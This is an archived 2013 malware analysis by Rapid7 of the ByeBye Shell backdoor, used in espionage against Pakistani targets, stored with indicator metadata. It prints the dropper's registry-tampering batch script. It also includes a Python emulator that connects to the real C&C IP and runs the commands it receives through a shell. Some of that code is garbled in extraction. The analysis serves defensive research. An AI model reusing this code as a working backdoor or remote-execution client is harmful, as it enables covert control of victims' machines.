{
	"id": "61c056f1-7654-489a-b05f-2fcdc73c7e80",
	"created_at": "2026-11-26T02:30:44.652045Z",
	"updated_at": "2026-11-26T02:37:41.513076Z",
	"deleted_at": null,
	"sha1_hash": "16d1caeac2a7d8ab2470d56fe8231aaec0251c5d",
	"title": "ByeBye Shell and the targeting of Pakistan",
	"llm_title": "ByeBye Shell and the targeting of Pakistan",
	"authors": "nex",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 83310,
	"plain_text": "https://web.archive.org/web/20201111233910if_/https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/\n\nByeBye Shell and the targeting of Pakistan\n\nBy nex\n\nPublished: 2013-08-19 · Archived: 2026-11-26 02:17:48 UTC\n\nAsia and South Asia are a theater for daily attacks and numerous ongoing espionage campaigns between\n\nneighboring countries, so many campaigns that it's hard to keep count. Recently I stumbled on yet another one,\n\nwhich appears to have been active since at least the beginning of the year, and seems mostly directed at Pakistani\n\ntargets.\n\nIn this article we're going to analyze the nature of the attacks, the functionality of the backdoor - here labelled as\n\nByeBye Shell - and the quick interaction I had with the operators behind this campaign.\n\nInfection\n\nNo exploit was used in any of the attacks we attribute to this campaign - the attackers probably just relied on\n\nsocial engineering the victim through well-crafted spearphishing emails.\n\nThe malware first appears to the victim as a .scr file. In some cases the attackers make use of the Left-to-Right\n\nOverride Unicode character in order to twist the .exe file extension into something more credible.\n\nOnce executed it drops and launches a batch script in a %Temp% subfolder with the following content:\n\n@ echo off\n@ start \"IEXPLORE.EXE\" \"\u003cbackdoor\u003e\"\n@ reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v Hidden /t REG_DWORD /d 0x00000000 \n@ reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideFileExt /t REG_DWORD /d 0x0000\n@ reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowSuperHidden /t REG_DWORD /d 0x\n@ reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL /v CheckedValue\n@ exit\n\nAs you can see, it enforces some configuration in the registry in order to hide file extensions and not show hidden\n\nfolders.\n\nSubsequently the malware creates and launches a Cabinet Self-Extractor, which drops two additional executable\n\nfiles: one embedding either a PDF or a Microsoft Office Word document, the other being the actual backdoor.\n\nThese are the hashes of the original droppers I inspected during this analysis:\n\n8b4224dac114a9b8433913a1977f88b2\n\n469cf94c457c17d8f24dacf9f9d41f33\n\n6b349e439a17c4b66fb2a25965432aa9\n\nPage 1 of 8\n\nhttps://web.archive.org/web/20201111233910if_/https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/\n\nd36da5c48d8fb7ee8c736ae183bf3f8a\n\nThe embedded documents all show content revolving around internal or foreign Pakistan politics - following\n\nare some examples of such documents:\n\nThis document appears to report an article that appeared on Hilal, the magazine of the Pakistan Armed Forces.\n\nYou can find a copy of the original article on this Pakistan institutional website.\n\nAlso in this case the attacker seems to have just reused an existing article. Searching online for the content, it\n\nappears to have been originally published on a website called SATribune, which is no longer online.\n\nYou can find a copy of the full article here.\n\nAgain, the original article is available on Dawn.com.\n\nThis last one coming instead from Reuters.\n\nBackdoor\n\nLet's face it: at the point where the attackers obtain control over the target computer, not much sophistication is\n\nleft in day-to-day targeted attacks. PoisonIvy, Gh0st and custom backdoors are daily business for threat analysts\n\nand malware researchers, in most cases being tedious work with little technical challenge.\n\nThis campaign is no exception. The main backdoor installed and executed on the victims' systems appears to be a\n\ncustom reverse shell with just a handful of features. Due to a lack of public literature about this case, I decided to\n\ndub this family as ByeByeShell.\n\nWhen disassembling the binary you can quickly understand the mechanics of the backdoor. After some quick\n\ninitialization, the backdoor XORs an embedded string with 0x9D to extract the IP address of the C\u0026C server.\n\nSubsequently it establishes a connection to it (generally on port 80) and checks in with some basic information\n\nabout the system.\n\nLAB-OF-Me: 10.0.2.15............................................................UserName: User\n\nHostName:lab\n\nMAC:\n\nAddress 0: 10.0.2.15\n\n[P130813]\n\nPage 2 of 8\n\nhttps://web.archive.org/web/20201111233910if_/https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/\n\nAs you can see, it reports the computer name, the user name, the IP address and MAC address of the network\n\nadapter. The [P130813] line appears to be a constant value, possibly a target identifier.\n\nInterestingly, in a specific malware sample belonging to this campaign, the backdoor also appends the string \"INS\n\nand AfPak\" at the end of the message - note that, as defined by Wikipedia, \"_AfPak (or Af-Pak) is a neologism\n\nused within US foreign policy circles to designate Afghanistan and Pakistan as a single theater of operation_s\".\n\nAfter the check-in message is sent, the malware enters a continuous loop in which it will keep silently waiting for\n\ncommands from the open socket connection. From now on, it expects some manual interaction from the attacker.\n\nThe supported commands are:\n\nshell\n\ncomd\n\nsleep\n\nquit\n\nkill\n\nYou can see the switch block in the following screenshots.\n\nWhen a message is received from the socket connection, it checks if the message is \"shell\" then spawn a\n\nreverse shell, otherwise continues by checking for \"comd\" which will simply execute a command and returns.\n\nIf neither \"shell\" or \"comd\" is specified by the operator, it checks if it has been instructed to sleep or terminate,\n\notherwise it just continues to the next iteration.\n\nIn the following screenshot you can see how the reverse shell is implemented: it just launches a cmd.exe and\n\npipes stdin, stdout and stderr to the opened socket so that the operator can directly interact with the Windows\n\nprompt.\n\nAs you can see, this is an extremely basic backdoor, even poorly written if you ask me. Antivirus detection rate is\n\nalso reasonably good, despite consisting mostly of generic signatures.\n\nThe samples are also signed with an invalid Microsoft Windows certificate, which can be used for further\n\nfingerprinting:\n\nCertificate:\n    Data:\n        Version: 3 (0x2)\n        Serial Number:\n            5b:b2:39:83:49:9b:89:a0:43:a8:10:3a:67:24:13:78\n    Signature Algorithm: md5WithRSAEncryption\n\nPage 3 of 8\n\nhttps://web.archive.org/web/20201111233910if_/https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/\n\nIssuer: CN=Microsoft Windows\n\nValidity\n\nNot Before: Dec 31 18:30:00 2011 GMT\n\nNot After : Dec 31 18:30:00 2014 GMT\n\nSubject: CN=Microsoft Windows\n\nSubject Public Key Info:\n\nPublic Key Algorithm: rsaEncryption\n\nPublic-Key: (1024 bit)\n\nModulus:\n\n00:c6:e9:0c:5e:0a:09:39:db:58:a8:03:6c:60:da:\n\n32:ad:c5:3d:9a:39:91:ca:93:9f:ac:39:aa:3d:45:\n\n54:a7:63:e0:a7:c3:b0:b6:ee:2b:6c:bd:83:f9:9b:\n\n9b:e1:df:0d:e1:2a:96:e3:99:5e:52:0e:c7:c5:63:\n\n91:b4:e9:37:63:be:4b:62:23:2e:b8:00:f0:48:22:\n\n1e:ef:60:16:99:a4:08:2c:66:72:26:a2:68:1d:66:\n\na4:22:ff:a5:72:7a:ad:f8:78:9c:1f:2e:89:49:62:\n\nf4:ba:6d:7f:f5:04:b1:9b:29:58:13:1d:f9:0f:a6:\n\n86:95:95:92:0b:57:9c:ca:39\n\nExponent: 65537 (0x10001)\n\nX509v3 extensions:\n\n2.5.29.1:\n\n0D..g.yY,.^.Oxz..../..0.1.0...U....Microsoft Windows..[.9.I...C..:g$.x      Signature Algorithm:\n\nbd:b3:b3:95:14:aa:55:0d:80:4a:7b:d5:54:e9:43:e9:e1:36:\n\nc1:7b:25:64:4b:a4:35:6f:55:81:d1:f5:9d:69:87:04:f3:8d:\n\n05:0a:49:31:0e:49:11:62:97:85:42:b4:37:63:ce:88:77:59:\n\n44:9c:83:03:9c:bb:95:f8:f4:8d:15:b5:1c:96:d4:af:ea:50:\n\n0a:cf:53:38:01:ed:00:6c:a0:90:f6:4c:8c:80:12:f3:ac:38:\n\nb1:4f:d9:e9:d1:2b:8b:40:0e:9e:6b:38:45:a1:90:2d:fe:79:\n\n92:6d:f8:98:f1:a7:bf:9b:8d:7a:bc:89:77:12:33:29:6e:7e:\n\nd2:ff\n\nPlaying with the Attacker\n\nIn all the cases presented in this blog post, the backdoors tried to connect to the C\u0026C located at 46.165.207.134,\n\nwhich appears to be a dedicated server hosted by Leaseweb:\n\ninetnum:        46.165.200.0 - 46.165.207.255\n\nnetname:        NETDIRECT-NET\n\nremarks:        INFRA-AW\n\ncountry:        DE\n\nadmin-c:        LSWG-RIPE\n\ndescr:          Leaseweb Germany GmbH (previously netdirekt e. K.)\n\nPage 4 of 8\n\nhttps://web.archive.org/web/20201111233910if_/https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/\n\ntech-c:         LSWG-RIPE\n\nstatus:         ASSIGNED PA\n\nmnt-by:         NETDIRECT-MNT\n\nmnt-lower:      NETDIRECT-MNT\n\nmnt-routes:     NETDIRECT-MNT\n\nsource:         RIPE # Filtered\n\nAt the time of writing, the server appears to still be online. However port 80, which the backdoors try to contact,\n\nappears to be available only sporadically. In order to get some fun out of an overall straightforward analysis, I\n\nquickly hacked together a Python script that emulates a ByeBye backdoor - following is the code:\n\nimport os\n\nimport sys\n\nimport socket\n\nimport subprocess\n\ndef main(host='46.165.207.134'):\n\n# This is the check-in message.\n\nbuf = \"HOMEPC-OF-User: 192.168.0.5............................................................UserName: User\n\nbuf = \"HostName:HOMEPC\\n\"\n\nbuf = \"MAC: \u003cMAC ADDRESS\u003e\\n\"\n\nbuf = \"Address 0: 192.168.0.5\\n\"\n\nbuf = \"[P100713]\\n\"\n\nbuf = \"$\"\n\n# Emulating cmd.exe, hacky but works.\n\ncmd = \"Microsoft Windows XP [Version 5.1.2600]\\n\"\n\ncmd = \"(C) Copyright 1985-2001 Microsoft Corp.\\n\"\n\nprompt = \"C:\\Documents and Settings\\User\u003e \"\n\nprint(\"[*] Trying to connect to C\u0026C...\")\n\n# Try to establish connection with the C\u0026C.\n\nwhile True:\n\ntry:\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nsock.connect((host, 80))\n\nexcept Exception as e:\n\nprint(\"[!] ERROR: Unable to connect: {0}\".format(e))\n\nsock.close()\n\ncontinue\n\nelse:\n\nsubprocess.Popen('start alarm.mp3', shell=True)\n\nPage 5 of 8\n\nhttps://web.archive.org/web/20201111233910if_/https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/\n\nbreak\n\nprint(\"[*] Connected to C\u0026C!\")\n\n# Send check-in message.\n\nsock.send(buf)\n\nprint(\"[*] Authenticated to C\u0026C!\")\n\n# This flag represents whether we should currently emulate a cmd.exe prompt\n\n# or emulate the backdoor shell.\n\nshell_mode = False\n\n# Main loop.\n\nwhile True:\n\n# Wait for incoming command.\n\ntry:\n\nbufin = sock.recv(1024)\n\nexcept KeyboardInterrupt:\n\nbreak\n\nexcept Exception as e:\n\nprint(\"[!] ERROR: Connection lost: {0}\".format(e))\n\nbreak\n\ndata = bufin.strip()\n\nif len(data) == 0:\n\ncontinue\n\nprint(\"[ ] Received: {0}\".format(data))\n\n# If we are in cmd.exe mode...\n\nif shell_mode:\n\n# If he tries to exit the cmd, we emulate that.             if data in ('quit', 'exit'):\n\nshell_mode = False\n\nsock.send('/pre\u003e)\n\ncontinue\n\n# If he tries to shutdown the system, I'm gonna interrupt.\n\nelif 'shutdown' in data:\n\nbreak\n\n# I don't want him to kill processes.\n\nelif 'taskkill' in data:\n\ncontinue\n\n# Otherwise just execute the command.\n\nelse:\n\nproc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n\n(out, err) = proc.communicate()\n\nPage 6 of 8\n\nhttps://web.archive.org/web/20201111233910if_/https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/\n\nif out:\n\nlines = out.split('\\n')\n\nout_lines = []\n\nfor line in lines:\n\n# Can filter output here, for instance remove process\n\n# names or VirtualBox indicators and such.\n\nout_lines.append(line)\n\n# Send the findal cmd output.\n\nsock.send('\\n'.join(out_lines))\n\nif err:\n\nsock.send(err)\n\nsock.send(prompt)\n\nelse:\n\nif data == 'kill':\n\n# Should do this:\n\n#sock.send('KILLED')\n\n# But I'm disappointed:\n\nsock.send('NOOooOOooOOooOOoo :-( I thought we were friends!')\n\nbreak\n\nelif data == 'shell':\n\nsock.send(cmd)\n\nsock.send(prompt)\n\nshell_mode = True\n\ncontinue\n\nelif data == 'sleep':\n\nsock.send('BYE BYE\\n')\n\nsock.send('/pre\u003e)\n\nif __name__ == '__main__':\n\nif len(sys.argv) == 2:\n\nmain(sys.argv[1])\n\nelse:\n\nmain()\n\nAs you can see, this script simply tries to emulate the basic functionality of ByeBye: it performs the initial check-\n\nin and waits for incoming messages from the operator.\n\nYes - since, as previously said, the C\u0026C comes online only at times - I instructed the script to play an extremely\n\nloud alarm. Props to my flatmate for waking me up whenever the alarm went off.\n\nSurprisingly the operator responded few moments later my first attempt, although he quickly tried to terminate\n\nme probably noticing an unexpected origin:\n\n[ ] Received: kill\n\nPage 7 of 8\n\nhttps://web.archive.org/web/20201111233910if_/https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/\n\n[ ] Received: kill\n\n[ ] Received: shell\n\n[ ] Received: shutdown /r /t 0\n\nUnfortunately at that time I didn't have the script completed, therefore he noticed something odd and closed my\n\nconnection.\n\nI let a few days pass, completed the script and prepared a more credible scenario: a legitimate looking system\n\nconnecting out of South Asia. This time it took a bit longer to get some response from the operator, who simply\n\ntried to search for documents on the system:\n\n[ ] Received: shell\n\n[ ] Received: systeminfo\n\n[ ] Received: dir /s *.pdf\n\n[ ] Received: dir /s *.doc\n\n[ ] Received: exit\n\n[ ] Received: sleep\n\nSadly no further activity was observed.\n\nConclusions\n\nThis is yet another case of poorly skilled attackers managing to run successful espionage campaigns for extended\n\nperiods of time. This is probably one of the most basic incidents I encountered so far, but we can safely assume\n\nthat the operators behind this campaign are successful enough to maintain the operations running for at least the\n\nlast 6 months, possibly even more.\n\nNo clear indicator is available to make an informed estimate on what could be the origin of the attacks.\n\nThis work was brought to you by Claudio \"nex\" Guarnieri, Rapid7 Labs.\n\nSource: https://web.archive.org/web/20201111233910if_/https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/\n\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/"
	],
	"report_names": [
		"byebye-and-the-targeting-of-pakistan"
	],
	"threat_actors": [],
	"ts_created_at": 1795660244,
	"ts_updated_at": 1795660661,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/16d1caeac2a7d8ab2470d56fe8231aaec0251c5d.pdf",
		"text": "https://archive.orkl.eu/16d1caeac2a7d8ab2470d56fe8231aaec0251c5d.txt",
		"img": "https://archive.orkl.eu/16d1caeac2a7d8ab2470d56fe8231aaec0251c5d.jpg"
	},
	"iocs": [
		{
			"type": "domain",
			"value": "blog.rapid7.com",
			"count": 9,
			"flags": [
				"in_url_host"
			],
			"some_flags": [
				"in_url_host"
			]
		},
		{
			"type": "domain",
			"value": "dawn.com",
			"count": 1,
			"flags": [
				"upper_case"
			],
			"some_flags": [
				"upper_case"
			]
		},
		{
			"type": "domain",
			"value": "web.archive.org",
			"count": 9,
			"flags": [
				"in_url_host"
			],
			"some_flags": [
				"in_url_host"
			]
		},
		{
			"type": "ipv4",
			"value": "10.0.2.15",
			"count": 2,
			"flags": [
				"non_global"
			],
			"some_flags": [
				"non_global"
			]
		},
		{
			"type": "ipv4",
			"value": "192.168.0.5",
			"count": 2,
			"flags": [
				"non_global"
			],
			"some_flags": [
				"non_global"
			]
		},
		{
			"type": "ipv4",
			"value": "2.5.29.1",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "ipv4",
			"value": "46.165.200.0",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "ipv4",
			"value": "46.165.207.134",
			"count": 2,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "ipv4",
			"value": "46.165.207.255",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "md5",
			"value": "469cf94c457c17d8f24dacf9f9d41f33",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "md5",
			"value": "6b349e439a17c4b66fb2a25965432aa9",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "md5",
			"value": "8b4224dac114a9b8433913a1977f88b2",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "md5",
			"value": "d36da5c48d8fb7ee8c736ae183bf3f8a",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "url",
			"value": "https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/",
			"count": 9,
			"flags": [
				"in_url_path"
			],
			"some_flags": [
				"in_url_path"
			]
		},
		{
			"type": "url",
			"value": "https://web.archive.org/web/20201111233910if_/https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/",
			"count": 9,
			"flags": [],
			"some_flags": []
		}
	]
}